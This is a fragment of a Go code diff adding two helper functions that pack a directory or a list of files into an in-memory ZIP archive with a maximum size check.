+func ZipDirectory(dir string) ([]byte, error) {
+	if _, err := os.Stat(dir); err != nil {
+		return nil, fmt.Errorf("directory not found: %s", dir)
+	}
+
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+	baseName := filepath.Base(dir)
+
+	_ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() {
+			return nil
+		}
+		rel, err := filepath.Rel(dir, path)
+		if err != nil {
+			return nil
+		}
+		zipEntry := baseName + "/" + filepath.ToSlash(rel)
+		f, err := os.Open(path)
+		if err != nil {
+			return nil
+		}
+		defer f.Close()
+		w, err := zw.Create(zipEntry)
+		if err != nil {
+			return nil
+		}
+		io.Copy(w, f) //nolint:errcheck
+		return nil
+	})
+
+	if err := zw.Close(); err != nil {
+		return nil, err
+	}
+	if buf.Len() > maxZipSize {
+		return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
+	}
+	return buf.Bytes(), nil
+}
+
+func ZipFiles(paths []string, baseDir string) ([]byte, error) {
+	var buf bytes.Buffer
+	zw := zip.NewWriter(&buf)
+
+	for _, p := range paths {
+		rel, err := filepath.Rel(baseDir, p)
+		if err != nil {
+			rel = filepath.Base(p)
+		}
+		f, err := os.Open(p)
+		if err != nil {
+			continue
+		}
+		w, err := zw.Create(filepath.ToSlash(rel))
+		if err != nil {
+			f.Close()
+			continue
+		}
+		io.Copy(w, f)
+		f.Close()
+	}
+
+	if err := zw.Close(); err != nil {
+		return nil, err
+	}
+	if buf.Len() > maxZipSize {
+		return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize)
+	}
+	return buf.Bytes(), nil
+}